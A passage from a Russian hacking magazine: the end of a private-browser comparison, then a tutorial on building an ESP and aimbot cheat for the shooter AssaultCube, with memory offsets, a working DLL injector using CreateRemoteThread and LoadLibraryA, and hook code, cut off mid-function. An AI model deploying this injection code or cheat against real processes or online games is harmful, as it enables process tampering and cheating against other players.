тента. С одной сто роны, это сок раща ет шан сы передать кон фиден циаль ную
информа цию. С дру гой — некото рые сай ты, если эта опция вклю чена, могут
не работать дол жным обра зом.

Кон фигура тор Iron Cong and Backup

Вклад ки Backup и Restore поз воля ют сох ранить и вос ста новить нас трой ки
бра узе ра при необ ходимос ти. Вклад ка UserAgent — изме нить зна чение,
с помощью которо го этот бра узер пред став ляет ся сай там в интерне те. Мож- 
но выб рать дру гой UserAgent (нап ример, Safari) или нес коль ко раз ных
и нажати ем на кноп ку соз дать ярлык для запус ка бра узе ра с этим зна чени ем
UserAgent.

В Iron Cong and Backup мож но изме нить UserAgent

С помощью вклад ки Import from Chrome мож но импорти ровать все дан ные
(зна чения форм, исто рию, пароли) в Iron из Chrome, если ты поль зовал ся им
рань ше.

В Portmaster бра узер Iron отоб ража ется как Chrome. Вид но, что некото рые
сай ты отправ ляют зап росы к сер верам ана лити ки и ста тис тики Google, но Iron
бло киру ет их.

Iron в Portmaster

В целом бра узер про изво дит при ятное впе чат ление, работа ет быс тро,
для филь тра ции рек ламы и тре кин га исполь зует Secure DNS. К недос таткам
мож но отнести зак рытый исходный код и отсутс твие встро енно го VPN. Впро- 
чем, пос коль ку этот бра узер осно ван на Chromium, на него мож но уста новить
бес плат ные пла гины из Chrome Web Store, в том чис ле и пла гины, реали- 
зующие под клю чение через прок си.

LIBREWOLF

Сайт: • librewolf.net
Дви жок: Firefox•
Ис ходный код: откры тый•
Пер вый выпуск: 2021 год•
Вер сии: Windows, macOS, Linux•

LibreWolf — это соз данная незави симы ми раз работ чиками вер сия Firefox,
нап равлен ная на при ват ность и безопас ность поль зовате лей. Она появи лась
отно ситель но недав но, но в пос леднее вре мя активно набира ет популяр- 
ность. Бра узер име ет откры тый исходный код, ссыл ку на который мож но най- 
ти на сай те раз работ чиков.

Для заг рузки пред лага ют 64-раз рядную вер сию бра узе ра для Windows
в виде стан дар тно го инстал лятора и, в качес тве аль тер нативы, пор табель ное
при ложе ние в ZIP-архи ве.

Ес ли обыч но ты поль зует ся Firefox, интерфейс прог раммы покажет ся тебе
при выч ным. Сра зу бро сает ся в гла за, что в качес тве поис ковой сис темы
по умол чанию в LibreWolf исполь зует ся DuckDuckGo, но ее мож но заменить
в нас трой ках дру гими поис ковыми сис темами, счи тающи мися безопас ными:
нап ример, Searx или Qwant. Нас трой ки бра узе ра в целом ана логич ны Firefox,
никаких спе цифич ных опций в окне кон фигура ции бра узе ра обна ружить
не уда лось.

LibreWolf — нас трой ки

Ес ли верить информа ции на сай те раз работ чиков, этот бра узер соз дан
для защиты от тре кин га и ngerprinting, а так же содер жит целый ряд допол-
нитель ных инс тру мен тов для обес печения безопас ности. Сооб щает ся, что
LibreWolf не собира ет телемет рию, а для бло киров ки рек ламы и филь тра ции
кон тента в бра узе ре уста нов лен бес плат ный пла гин uBlock Origin, который
так же мож но исполь зовать и в обыч ном Firefox.

В LibreWolf в целях безопас ности заб локиро ван стан дар тный менед жер
паролей, но вмес то него мож но исполь зовать сто рон ние пла гины для Firefox.
Так же в бра узе ре вклю чен так называ емый режим Enhanced Tracking
Protection, который бло киру ет некото рые сто рон ние скрип ты, если их не заб- 
локиро вал пла гин uBlock Origin.

Пос коль ку LibreWolf исполь зует повышен ные нас трой ки безопас ности,
пос тоян ная авто риза ция на некото рых сай тах может вре мя от вре мени сбра- 
сывать ся. Что бы сох ранить авто риза цию при каж дом обра щении к сай ту, нап- 
ример быть пос тоян но залоги нен ным «Вкон такте», этот сайт нуж но добавить
в спи сок исклю чений в нас трой ках бра узе ра.

BrowserLeaks показы вает, что этот бра узер более безопас ный по срав- 
нению с обыч ным Firefox: нап ример, в нем отклю чена под дер жка WebGL.

LibreWolf в BrowserLeaks

В бра узе ре отклю чена точ ная геоло кация, работа ют 11 кон тен тных филь тров
для бло киров ки тре керов и рек ламы, а так же вклю чен Canvas Protection —
защита от ngerprinting с помощью ана лиза того, как отоб ража ется гра фика
в бра узе ре.

LibreWolf в BrowserLeaks

В Portmaster бра узер LibreWolf не показы вает никаких подоз ритель ных соеди- 
нений. Исхо дящие соеди нения при сутс тву ют, но эти обра щения исполь зует
пла гин uBlock Origin, что бы получить спис ки филь тра ции кон тента, а так же
про верить циф ровые сер тифика ты сай тов.

LibreWolf в Portmaster

Кро ме того, в FAQ на сай те раз работ чиков написа но, что LibreWolf исполь зует
некото рые соеди нения для про вер ки того, получа ет ли поль зователь
пуш-уве дом ления от сай тов, на которые под писан.

В целом мож но ска зать, что бра узер про извел при ятное впе чат ление. Он
име ет при выч ный для пок лонни ков Firefox удоб ный интерфейс и работа ет
дос таточ но быс тро.

ÂÛÂÎÄÛ

Нас тало вре мя под вести субъ ективные ито ги. На наш взгляд, пер вое мес то
сре ди при ват ных бра узе ров мож но сме ло отдать Brave. Он име ет откры тый
исходный код, удо бен, безопа сен, а так же может пох вастать ся встро енной
под дер жкой Tor.

На вто рое мес то мы бы пос тавили LibreWolf. Это тоже бра узер с откры тым
исходным кодом, его воз можнос ти могут быть рас ширены за счет пла гинов,
и он может боль ше пон равить ся тем, кто при вык к Firefox.

Брон зовую медаль вру чим бра узе рам Epic и Iron. Это ком мерчес кие про- 
дук ты с зак рытым исходным кодом, но они дос таточ но быс трые и име ют боль- 
шой ассорти мент нас тро ек. Еще в Epic есть даун лоадер кон тента, но он
не работа ет в YouTube.

Ос таль ные рас смот ренные в этой статье при ват ные бра узе ры, вклю чая
бра узе ры от раз работ чиков анти виру сов, мы бы пос тавили в конец спис ка.
Это не озна чает, что они пло хие, одна ко либо в них отсутс тву ют полез ные
фун кции, которые есть в дру гих про дук тах, либо они пред лага ются за день ги,
тог да как в аль тер натив ных бра узе рах бес плат ны.

https://waterfox.net/
https://www.srware.net/iron/
https://librewolf.net/


СМОТРИМ СКВОЗЬ
СТЕНЫ И ДЕЛАЕМ
АВТОПРИЦЕЛИВАНИЕ
ДЛЯ 3D-ШУТЕРА

neeko
mynxold@gmail.com

КОДИНГ

Се год ня мы с тобой напишем чит
для сетево го шутера. Мы реали зуем хаки
типа extrasensory perception (ESP) и aimbot.
ESP отоб ража ет информа цию об игро ках
над их голова ми. Здесь может быть здо- 
ровье игро ка, имя или текущее исполь- 
зуемое ору жие. Aimbot авто мати чес ки
нацели вает ся на дру гих игро ков.

INFO

В пре дыду щей статье «

» я заложил базу для будущих читов и объ- 
яснил основные понятия. Рекомен дую озна- 
комить ся с ней, что бы луч ше понимать, что мы
будем сегод ня делать.

Чит сво ими руками.
Вскры ваем компь ютер ную игру и пишем трей нер
на C++

ÂÛÁÎÐ ÈÃÐÛ

Мой выбор пал на  — бес плат ный мно гополь зователь ский шутер
от пер вого лица, осно ван ный на движ ке CUBE. Исполь зует ся гра фичес кая
биб лиоте ка OpenGL.

AssaultCube

WARNING

Ис поль зование читов наруша ет поль зователь ское
сог лашение игры и может пов лечь юри дичес кое
прес ледова ние. Мы обсужда ем здесь соз дание
чита исклю читель но в целях обу чения. Автор
и редак ция не несут ответс твен ности за воз- 
можные пос ледс твия при мене ния и рас простра- 
нения такого ПО.

ÏÎÈÑÊ ÇÍÀ×ÅÍÈÉ

Для начала запус тим игру и в нас трой ках выберем окон ный режим, ведь нам
нуж но, что бы на экра не помеща лось еще что-то, кро ме игры.

Окон ный режим

Так же соз дадим локаль ный сер вер. Нуж но будет нас тро ить его, а имен но
задать вре мя игры, что бы тай мер не торопил нас. Кон фиг лежит по сле- 
дующе му пути:

C:\Program Files (x86)\AssaultCube 1.3.0.2\config\maprot.cfg 

Стан дар тные нас трой ки вре мени

По меня ем вре мя на мак сималь ное — 100 минут.

Но вые нас трой ки вре мени

А пос ле уже запус каем сам сер вер.

За пуск сер вера

И под клю чаем ся к нему.

Под клю чение к сер веру

За пус каем  и под клю чаем ся к про цес су игры.Cheat Engine

Под клю чим ся к про цес су игры

Ïîèñê ïîêàçàòåëÿ çäîðîâüÿ
Для тес тирова ния нам понадо бит ся вто рой игрок. Можешь под клю чить ся
со вто рого устрой ства или, как сде лал я, из вир туаль ной машины. Для поис ка
показа теля здо ровья выс тавля ем парамет ры ска ниро вания в Cheat Engine
и вто рым игро ком наносим урон пер вому. Пос ле это го ищем здо ровье
в Cheat Engine.

По луче ние уро на

Бу дем наносить урон до тех пор, пока не най дем адрес, по которо му хра нит ся
показа тель здо ровья нашего игро ка.

Най ден ный адрес HP

На этом все зна комые по прош лой статье дей ствия в Cheat Engine закан чива- 
ются и начина ются новые. Наша цель — реали зовать extrasensory perception
и aimbot. Для это го нам нуж но узнать класс игро ка и его ста тичес кий адрес.
Что бы най ти класс, кли каем пра вой кноп кой мыши по нашему адре су
и выбира ем Find out what writes to this address (мож но прос то нажать F6).

По иск мес та, где идет запись по адре су

По явит ся новое окно, где будут отоб ражать ся инс трук ции, которые про изво- 
дят запись по нашему адре су. Что бы они появи лись, сно ва наносим урон вто- 
рым игро ком пер вому.

Най ден ная инс трук ция

По каза тель здо ровья записы вает все го одна инс трук ция, она рас положе на
по сме щению . Зна чит, зна чение, хра няще еся в регис тре , —
это адрес клас са игро ка (но адрес в куче, а не ста тичес кий). Поэто му
добавим его вруч ную.

0xEC edx

Струк тура

Ïîèñê ñòàòè÷åñêîãî àäðåñà îáúåêòà èãðîêà
В прош лый раз я исполь зовал отладчик, что бы наг лядно показать, что собой
пред став ляет ста тичес кий адрес. В этот раз для поис ка ста тичес кого адре са
мы будем исполь зовать Cheat Engine. Жмем на ранее добав ленный адрес

 пра вой кноп кой мыши и выбира ем Pointer scan for this address.0x6AED20

Вы бор ска ниро вания адре са

Как видишь, у нас есть мно жес тво парамет ров для поис ка ука зате ля, но нас
инте ресу ет Max level. Это зна чение отве чает за то, сколь ко раз будет разыме- 
нован наш ука затель (ста тичес кий адрес). Оно-то и поможет нам получить
иско мый адрес.

Стан дар тные нас трой ки ска ниро вания ука зате ля

Ис полня емый файл игры занима ет мало, и кода в нем тоже негус то.
Это наводит на мысль, что клас сов и струк тур в игре не так мно го и не будет
боль шого количес тва сме щений. Поэто му глу бину поис ка мы уста новим рав- 
ной еди нице.

Но вые нас трой ки ска ниро вания ука зате ля

Мы видим сле дующий резуль тат. Об адре сах вида 
 мы уже писали в прош лой статье. Имен но они нам и понадо- 

бят ся. А вот адре са фор мата  говорят нам о том,
что иско мый нами адрес был най ден в сте ке.

"ac_client.
exe"+YYYYYYYY

"THREADSTACKX"-YYYYYYYY

Ре зуль таты ска ниро вания ука зате ля

До бавим най ден ные пять адре сов в спи сок.

До бав ленные ука зате ли

И выс тавим для каж дого адре са сме щение до показа телей здо ровья.

До бав ленный ука затель на HP

Да лее переза пус каем игру, и Cheat Engine пред ложит сох ранить наши адре- 
са. Мы их сох раня ем, что бы заг рузить при пов торном под клю чении.

Сох раня ем наш cheat table

Пос ле перепод клю чения к игре в спис ке адре сов Cheat Engine видим, что
толь ко два адре са ука зыва ют на показа тель здо ровья: 

 и .
"ac_client.

exe"+0017E0A8 "ac_client.exe"+0018AC00

Пос ле переза пус ка AC

Поп робу ем пов торно получить урон и пос мотреть, что будет с дру гими адре- 
сами. Как видим, еще в двух адре сах появил ся наш показа тель здо ровья.
Зна чит, в спис ке мы оставля ем толь ко два упо мяну тых ранее адре са.

Пов торное получе ние уро на

До бавим ста тичес кий адрес  под име нем
.

"ac_client.exe"+0017E0A8
Player_ptr_1

До бав ляем пер вый ука затель

До бавим ста тичес кий адрес  под име нем
.

"ac_client.exe"+0018AC00
Player_ptr_2

До бав ляем вто рой ука затель

Продолжение статьи →

mailto:mynxold@gmail.com
https://xakep.ru/2022/03/22/diy-trainer/
https://assault.cubers.net/
https://www.cheatengine.org/downloads.php
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Êëàññ èãðîêà
Пред положим, что ста тичес кий адрес  — тот, что мы ищем (что
на самом деле не так, пра виль ным ста тичес ким адре сом будет

, но в этом мы убе дим ся поз же). Что бы прос мотреть класс
игро ка в памяти, нажима ем пра вой кноп кой мыши на адрес и выбира ем
Browse this memory region (или жмем Ctrl-B).

Player_ptr_1

Player_ptr_2

От кры тие реги она памяти

К счастью, у Cheat Engine есть инс тру мент, который поз воля ет нам луч ше
визу али зиро вать струк туры памяти, а не прос матри вать бай ты в дам пе. Прос- 
то жми пра вой кноп кой мыши по выделен ному бай ту и выбирай Open
in dissect data/structure.

От кры тие ана лиза струк тур

От кро ется новое окно с адре сом выб ранно го бай та. Наж ми Structures, затем
Dene new structure (или Ctrl-N).

Соз дание струк туры

На зовем струк туру . Осталь ные нас трой ки оста вим по умол чанию:
пред положи тель ный тип поля и раз мер струк туры (4096).

Player

Соз дание клас са игро ка

Пос тавив галоч ку Guess eld type, мы поп росили Cheat Engine уга дать тип
поля. И он неп лохо с этим спра вил ся.

По лучен ная струк тура

Пе рей дем по сме щению , что бы убе дить ся, что там находит ся показа- 
тель здо ровья нашего игро ка.

0xEC

Про вер ка клас са

Так же мож но по сме щению  обна ружить имя игро ка.0x205

Имя игро ка

В даль нейшем нам нужен этот класс, но, к сожале нию, Cheat Engine не поз- 
воля ет экспор тировать струк туру, а делать это вруч ную — зна чит под вергать
себя мучени ям. Это не нуж но, пос коль ку сущес тву ет готовый инс тру мент —

. Он дает воз можность нап рямую выг рузить струк туру в виде кода
на C++. Ска чива ем, уста нав лива ем и под клю чаем ся к про цес су игры.
ReClass.NET

Под клю чение к про цес су

Пос ле при соеди нения к про цес су соз дает ся класс по базово му адре су
, он называ ется . Дваж ды кли каем по адре су и выс тавля ем

нуж ный нам: . Ана логич но изме няем имя клас са на  и добав- 
ляем для отоб ражения еще 4096 байт.

400000 N0000004E
0066ED48 Player

В дан ном кон тек сте отоб ража емое количес тво бай тов СE вос при нима ет
как класс, который мы экспор тиру ем. Если раз мер нашего клас са боль ше,
чем стан дар тное количес тво отоб ража емых бай тов, нуж но вруч ную уве личить
раз мер.

Нас трой ка ReClass.NET

Пе рехо дим к сме щению , к показа телю здо ровья. Меня ем зна чение типа
поля на  (мы выс тавим зна чения типов для сме щений, что поз волит нам
в даль нейшем экспор тировать класс с нуж ными полями).

0xEC
DWORD

Прис воение типа

Ïîèñê êîîðäèíàò
На чиная с это го мес та, мы будем искать зна чения, нуж ные непос редс твен но
для реали зации ESP и aimbot. Для ESP нам понадо бят ся коор динаты самого
игро ка и его головы в трех мерном прос транс тве.

WWW

Тем, кто не зна ет или забыл, как работа ет трех- 
мерная сис тема коор динат в компь ютер ной гра- 
фике, рекомен дую статью « »
на «Хаб рахаб ре».

3D сво ими руками

Для реали зации aimbot нам понадо бят ся зна чения тан гажа (pitch), рыс канья
(yaw) и кре на (roll). Не зна ешь, что это? Давай покажу на при мере игро вого
движ ка .Godot

Ко орди наты XYZ

За пись коор динат может раз нить ся в зависи мос ти от движ ка. Час то раз лича- 
ется нап равле ние осей и то, какая из них счи тает ся высотой.

Ва риации коор динат

Для демонс тра ции возь мем с GitHub  и пос мотрим,
как он будет дви гать ся, если менять коор динаты.

го тово го пер сонажа

Пер сонаж на нулевых коор динатах

Тан гаж — дви жение пер сонажа отно ситель но оси X. Ниж няя стрел ка — фак- 
тичес кое дви жение пер сонажа в дан ный момент, вер хняя — дру гой вари ант
дви жения.

Pitch

Рыс канье — дви жение пер сонажа отно ситель но оси Y.

Yaw

Крен — дви жение пер сонажа отно ситель но оси Z.

Roll

Ïîèñê êîîðäèíàò èãðîêà
С новыми зна ниями воз вра щаем ся к игре и окну Cheat Engine. Начина ем
переме щать ся по кар те и вер теть мыш кой из сто роны в сто рону, а так же
вверх и вниз. В окне Cheat Engine можем видеть три пос ледова тель нос ти
из зна чений с пла вающей запятой, которые менялись при наших дей стви ях.
Зна чит, это коор динаты игро ка, коор динаты головы игро ка и его поворот
отно ситель но осей.

Мож но заметить, что два набора из трех пов торя ются по X и Y, а вот коор- 
дината Z у них раз ная. Отсю да мы можем сде лать вывод, что один набор —
это коор динаты игро ка, а вто рой — головы. Так как в OpenGL в качес тве
высоты исполь зует ся коор дината Z, мы попыта емся поменять высоту для каж- 
дого набора. Нач нем с пер вого, но пос ле попыт ки поменять зна чение c
-0.5 на дру гое оно сно ва ста нет преж ним. Зна чит, это коор динаты головы,
вто рой набор — коор динаты игро ка, а тре тий — дви жение отно ситель но
осей. Но мы в этом еще дол жны убе дить ся.

Неп равиль ный выбор чис ла

Те перь давай поп робу ем сде лать для вто рого набора то, что мы делали
для пер вого.

Пра виль ный выбор

Для наг лядной демонс тра ции вста нем на ящик, а в Cheat Engine будем смот- 
реть на зна чение по сме щению .0x30

Ста новим ся на высоту

Поп робу ем изме нить это зна чение и уви дим, как наш пер сонаж про валил ся
сквозь ящик.

Из менение высоты игро ка

Продолжение статьи →

https://github.com/ReClassNET/ReClass.NET
https://habr.com/ru/post/497808/
https://godotengine.org/
https://github.com/AGChow/3D-Godot-Robot-Platformer-Character
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Это зна чит, что наши пред положе ния вер ны.

На ши коор динаты

Вер немся в окно ReClass.NET и выберем типы для этих сме щений.

Пе реиме новы ваем и зада ем тип

Ïîèñê pitch, yaw, roll
Сде лаем такую же про вер ку. Веди мышью из сто роны в сто рону, а потом
вверх и вниз. Поп робу ем поменять зна чения, и ока зыва ется, что наши пред- 
положе ния были вер ны.

На ши зна чения

Вер немся в окно ReClass.NET и выберем типы для этих сме щений.

Пе реиме новы ваем и зада ем тип

Вот так теперь выг лядит наш класс. Но что за ? Это поле не нуж но, я
добавил его для кра соты. Под робнее о том, что это и зачем, можешь про- 
читать в статье .

VTable

Understandig Virtual Tables in C++

Наш класс

Те перь экспор тиру ем наш класс (наж ми на него пра вой кноп кой мыши
и выбери соот ветс тву ющий пункт меню). Можешь видеть, что есть поля,
которые мы с тобой не иска ли: ,  и про чие. Думаю, ты при желании
смо жешь най ти их сам.

armor team

Эк спор тиру ем

Entity List
С нашим игро ком мы разоб рались, а как быть с дру гими игро ками? Обыч но
где-то есть огромный спи сок всех игро вых сущ ностей, в который вхо дят
и пер сонажи игро ков. Мож но пред положить, что где-то в коде дол жен сущес- 
тво вать и цикл, который переби рает игро ков, и даль ше с их дан ными как-то
вза имо дей ству ет логика игры. Поп робу ем оттол кнуть ся от показа теля здо- 
ровья и поис кать, какие инс трук ции его зап рашива ют.

Дос туп к адре су со здо ровь ем

С нас кока ничего най ти не уда ется, но наметан ный глаз заметит, что дос туп
к показа телям здо ровья нашего игро ка идет через какой-то ста тичес кий
адрес. Ока зыва ется, мы выб рали неп равиль ный! Пра виль ный адрес такой:

."ac_client.exe"+0018AC00

Пра виль ный адрес

Поп робу ем теперь поис кать через имя игро ка, которое находит ся по сме- 
щению .0x205

Имя игро ка

И получим спи сок инс трук ций, которые обра щают ся к име ни.

До бав ляем адрес

Ищем дос туп к адре су

Пе реби раем вари анты и находим такой, где дос туп про исхо дит в цик ле.

Цикл сущ ностей

Те, кто зна ком с ассем бле ром, понима ют, что в регис тре  находит ся
адрес пер вого эле мен та,  — это индекс, а умно жение индекса говорит
нам о типе дан ных, в дан ном слу чае это 4, DWORD.

ebx
esi

Та ким обра зом, ста тичес кий адрес спис ка сущ ностей будет таким:

"ac_client.exe"+0018AC04 

Спи сок сущ ностей

Убе дить ся в этом мож но, про верив по сме щению  имя игро ка.0x205

Имя дру гого игро ка

Так же нам понадо бит ся общее количес тво игро ков. Полис тав вывод дизас- 
сем бле ра, в кон це цик ла уви дим про вер ку. В регис тре  хра нит ся текущее
количес тво игро ков.

edi

Ко личес тво игро ков

Нем ного подеба жив, замеча ем, что выше цик ла находит ся ста тичес кий адрес
количес тва игро ков: ."ac_client.exe"+0018AC0C

Ста тичес кий адрес для игро ков

Пе реза пус тим и про верим, что адре са пра виль ные.

Ïîèñê View Matrix
Мат рица View (вид) нуж на для кор рек тной работы ESP, более под робно
об этом можешь почитать в  на «Хаб рахаб ре».статье об OpenGL

Пос ледова тель ность пре обра зова ний

1. Ло каль ные коор динаты — это коор динаты объ екта, изме ряемые отно- 
ситель но той точ ки, в которой находит ся объ ект.

2. На сле дующем шаге локаль ные коор динаты пре обра зуют ся в коор динаты
в прос транс тве мира. Они отло жены от какой-то точ ки, еди ной для всех
дру гих объ ектов, рас положен ных в мировом прос транс тве.

3. Даль ше мы тран сфор миру ем мировые коор динаты в коор динаты прос- 
транс тва вида таким обра зом, что бы каж дая вер шина ста ла вид на,
как если бы на нее смот рели из камеры или с точ ки зре ния наб людате ля.

4. Пос ле того как коор динаты будут пре обра зова ны в прос транс тво вида, мы
спро еци руем их в коор динаты отсе чения. Коор динаты отсе чения зада ются
в диапа зоне от -1.0 до 1.0 и опре деля ют, какие вер шины появят ся на экра- 
не.

5. И наконец, в про цес се пре обра зова ния, который мы назовем тран сфор- 
маци ей области прос мотра, мы пре обра зуем коор динаты отсе чения
от -1.0 до 1.0 в область экранных коор динат, задан ную фун кци ей

.glViewport

Для поис ка мат рицы вида будем ори енти ровать ся на коор динаты отсе чения,
они зада ются в диапа зоне от -1.0 до 1.0. В игре смот рим пря мо вверх, а в CE
выс тавля ем сле дующие парамет ры поис ка.

Смот рим вверх

Те перь смот рим пря мо вниз и выс тавля ем новые парамет ры поис ка.
И череду ем, пока не най дем при емле мое количес тво резуль татов. В дан ном
слу чае понадо билось не так мно го пов торений, что бы отыс кать два ста тичес- 
ких адре са. Их-то мы и будем про верять.

Смот рим вниз

От кро ем в дам пе пер вый адрес и для удобс тва изме ним тип отоб ража емых
дан ных с бай тов на oat.

Из менение для удоб ного вида

Вот что мы име ем.

Из менен ный вид

Продолжение статьи →

https://pabloariasal.github.io/2017/06/10/understanding-virtual-tables/
https://habr.com/ru/post/324968/


ЧИТ 

СВОИМИ 

РУКАМИ
СМОТРИМ СКВОЗЬ СТЕНЫ И ДЕЛАЕМ

АВТОПРИЦЕЛИВАНИЕ ДЛЯ 3D-ШУТЕРА

КОДИНГ  НАЧАЛО СТАТЬИ←

Те перь нуж но под нимать и опус кать ору жие и смот реть, как меня ются зна- 
чения. Мы видим, что в области, обоз начен ной крас ным, что-то изме нилось.
При чем  и  будет толь ко в выделен ной области, а перед ней, если
судить по раз мерам мат риц, будут, соот ветс твен но, мат рица мира и мат рица
переме щения. Таким обра зом, ста тичес кий адрес мат рицы вида получа ется

.

1.0 -1.0

"ac_client.exe"+17DFD0

Най ден ная мат рица вида

Не забыва ем переза пус тить игру и про верить пра виль ность наших находок.

ÍÀÏÈÑÀÍÈÅ ×ÈÒÀ

Как и в пре дыду щей статье, мы будем писать внут ренний чит, поэто му нам
понадо бит ся не толь ко сама биб лиоте ка, но и инжектор, который внед рит
нашу биб лиоте ку в про цесс игры. Инжектор получит спи сок про цес сов, най- 
дет про цесс игры и выделит в ней память, в которую запишет наш внут ренний
чит. А потом соз даст уда лен ный поток внут ри игры для выпол нения кода.

Injector
Код инжекто ра выг лядит сле дующим обра зом.

#include <windows.h>
#include <tlhelp32.h>

// Имя внедряемой DLL
    const char* dll_path = "internal_cheat_ac.dll";

  int main(void) {
    HANDLE process;
    void* alloc_base_addr;
    HMODULE kernel32_base;
    LPTHREAD_START_ROUTINE LoadLibraryA_addr;
    HANDLE thread;

      HANDLE snapshot = 0;
        PROCESSENTRY32 pe32 = { 0 };

      DWORD exitCode = 0;

     pe32.dwSize = sizeof(PROCESSENTRY32);

   // Получение снапшота текущих процессов
      snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    Process32First(snapshot, &pe32);

    do {
       // Мы хотим работать только с процессом AC

            if (wcscmp(pe32.szExeFile, L"ac_client.exe") == 0) {

           // Во-первых, нам нужно получить дескриптор процесса, 
чтобы использовать его для следующих вызовов

               process = OpenProcess(PROCESS_ALL_ACCESS, true, pe32.
th32ProcessID);

           // Чтобы не повредить память, выделим дополнительную 
память для хранения нашего пути к DLL

    
    

           alloc_base_addr = VirtualAllocEx(process, NULL, strlen(
dll_path) + 1, MEM_COMMIT, PAGE_READWRITE);

           // Записываем путь к нашей DLL в память, которую мы 
только что выделили внутри игры

   
   

           WriteProcessMemory(process, alloc_base_addr, dll_path,
strlen(dll_path) + 1, NULL);

           // Создаем удаленный поток внутри игры, который будет 
выполнять LoadLibraryA
           // Этому вызову LoadLibraryA мы передадим полный путь к 
нашей DLL, которую мы прописали в игру

             kernel32_base = GetModuleHandle(L"kernel32.dll");
  
 

           LoadLibraryA_addr = (LPTHREAD_START_ROUTINE)
GetProcAddress(kernel32_base, "LoadLibraryA");

     
   

           thread = CreateRemoteThread(process, NULL, 0,
LoadLibraryA_addr, alloc_base_addr, 0, NULL);

           // Чтобы убедиться, что наша DLL внедрена, мы можем 
использовать следующие два вызова для синхронизации

            WaitForSingleObject(thread, INFINITE);
            GetExitCodeThread(thread, &exitCode);

           // Наконец, освобождаем память и очищаем дескрипторы 
процесса

              VirtualFreeEx(process, alloc_base_addr, 0, MEM_RELEASE);
           CloseHandle(thread);
           CloseHandle(process);
           break;
       }
   // Перебор процессов из снапшота
      } while (Process32Next(snapshot, &pe32));

    return 0;
}

DLL
На ша биб лиоте ка будет сос тоять из сле дующих модулей:

глав ный модуль — ;• dllmain.cpp

мо дуль сме щений в игре и игро вых струк тур — ;• structures.h

мо дуль хуков —  и ;• hook.cpp hook.h

мо дуль рисова ния —  и .• gl_draw.cpp gl_draw.h

Ãëàâíûé ìîäóëü
При заг рузке нашей биб лиоте ки через фун кцию  соз дает ся
поток, в котором будет работать основная логика нашего чита. А имен но:

LoadLibraryA

по луче ние ука зате лей на нуж ные нам поля;•
ус танов ка хука на фун кцию отри сов ки сцен;•
цикл, в котором реали зова но вклю чение и отклю чение хаков, завер шение
работы чита;

•

фун кция, рису ющая меню;•
ха ки ESP и aimbot.•

Прис тупим к реали зации!

 include <iostream>
#include <string>
#include <tchar.h>
#include <thread>
#include <mutex>

#define _USE_MATH_DEFINES
#include <math.h>

#include "hook.h"
#include "structures.h"
#include "gl_draw.h"

// Переменная игрока
 Player* player;

// Переменная синхронизации
 std::mutex hook_mutex;

// Typedef для функции wglSwapBuffers
    typedef BOOL(__stdcall* twglSwapBuffers) (HDC hDc);

 Tramp_Hook* esp_hook;

   Player** player_list = nullptr;
   int* player_list_size = nullptr;

    static int list_size = 0;

  static Vector3 screen_position;
  static Vector3 world_position;
  static Vector3 player_position;
  static float* view_matrix;

   bool aimbot_enabled = false;

// Меню
   void draw_menu(bool flag_esp) {

      std::string esp = "ESP is ";
      std::string aimbot = "Aimbot is ";

     if (flag_esp) {
         esp += "ON press F1 to OFF";

   }
    else {

         esp += "OFF press F1 to ON";
   }

     if (aimbot_enabled) {
         aimbot += "ON press F2 to OFF";

   }
    else {

         aimbot += "OFF press F2 to ON";
   }

      GL::print_gl(50, 1200, rgb::gray, esp.c_str());
      GL::print_gl(50, 1300, rgb::gray, aimbot.c_str());
      GL::print_gl(50, 1400, rgb::gray, "Exit cheat press F3");
}

// Наша функция, которую вызывает установленный хук
    BOOL _stdcall hooked_wglSwapBuffers(HDC hDc) {

   hook_mutex.lock();

   draw_menu(esp_hook->is_enabled());

     if (esp_hook->is_enabled()) {
    // Настроить орфографический режим
       GL::setup_orthographic();

           if (*player_list_size == list_size) {
                    for (int i = 0; i < list_size; ++i) {

               // Проверить, действителен ли адрес игрока
                 if (!player_list[i]) {

                   continue;
               }

       
 

               if (player_list[i]->hp > 0 && player_list[i]->hp <
200) {

                   // Сохранить позицию других игроков в Vector3
                     world_position.x = player_list[i]->x_y_z_player.x

;
                     world_position.y = player_list[i]->x_y_z_player.y

;
                     world_position.z = player_list[i]->x_y_z_player.z

;

                   // Сохранить позицию головы других игроков в 
Vector3

                     player_position.x = player->x_y_z_head.x;
                     player_position.y = player->x_y_z_head.y;
                     player_position.z = player->x_y_z_head.z;

                   // Рассчитать расстояние до другого игрока
     

      
      
      
  

                   float distance = sqrtf((player_position.x -
world_position.x) * (player_position.x - world_position.x) + (
player_position.y - world_position.y) * (player_position.y -
world_position.y) + (player_position.z - world_position.z) * (
player_position.z - world_position.z));

                   // Проверить, находится ли игрок в зоне обзора
     

   
                   if (distance > 5.0f && GL::world_to_screen(
world_position, screen_position, view_matrix)) {
                       // Проверить, находится ли другой игрок в 
той же команде, что и мы

                           if (player_list[i]->team != player->team) {
                           // Команда врага

 
    
 

                           GL::draw_esp_box(screen_position.x,
screen_position.y, distance, rgb::red, player_list[i]->name,
player_list[i]->hp, player_list[i]->armor);
                       }

                        else {
                           // Наша команда

 
    
 

                           GL::draw_esp_box(screen_position.x,
screen_position.y, distance, rgb::green, player_list[i]->name,
player_list[i]->hp, player_list[i]->armor);
                       }
                   }
               }
           }
       }

        else {
             list_size = *player_list_size;

       }
        GL::restore_gl(); // Восстановить исходный режим

   }

       if (aimbot_enabled && GetAsyncKeyState(VK_RBUTTON)) {
           if (*player_list_size == list_size) {

           // Эти переменные будут использоваться для удержания 
ближайшего к нам врага

              float closest_player = -1.0f;
              float closest_yaw = 0.0f;
              float closest_pitch = 0.0f;

           // Выбор ближайшего игрока в качестве цели
                    for (int i = 0; i < list_size; ++i) {

               // Проверить, действителен ли адрес игрока, при этом 
пропускаем игроков из нашей команды и проверяем показатель здоровья

     
     

               if (!player_list[i] || (player_list[i]->team ==
player->team) || (player_list[i]->hp < 0)) {
                   continue;
               }

               // Расчет абсолютного положения врага вдали от нас. 
Позволяет убедиться, что наши будущие расчеты верны и основаны на 
исходной точке

                    float abspos_x = player_list[i]->x_y_z_player.x -
player->x_y_z_player.x;

                    float abspos_y = player_list[i]->x_y_z_player.y -
player->x_y_z_player.y;

                    float abspos_z = player_list[i]->x_y_z_player.z -
player->x_y_z_player.z;

               // Расчет дистанции до врага
       

  
               float temp_distance = sqrtf((abspos_x * abspos_x) + (
abspos_y * abspos_y));
               // Если это ближайший враг, рассчитываем рыскание и 
тангаж, чтобы нацелиться на него

       
 

               if (closest_player == -1.0f || temp_distance <
closest_player) {

                     closest_player = temp_distance;

                   // Рассчитываем рыскание
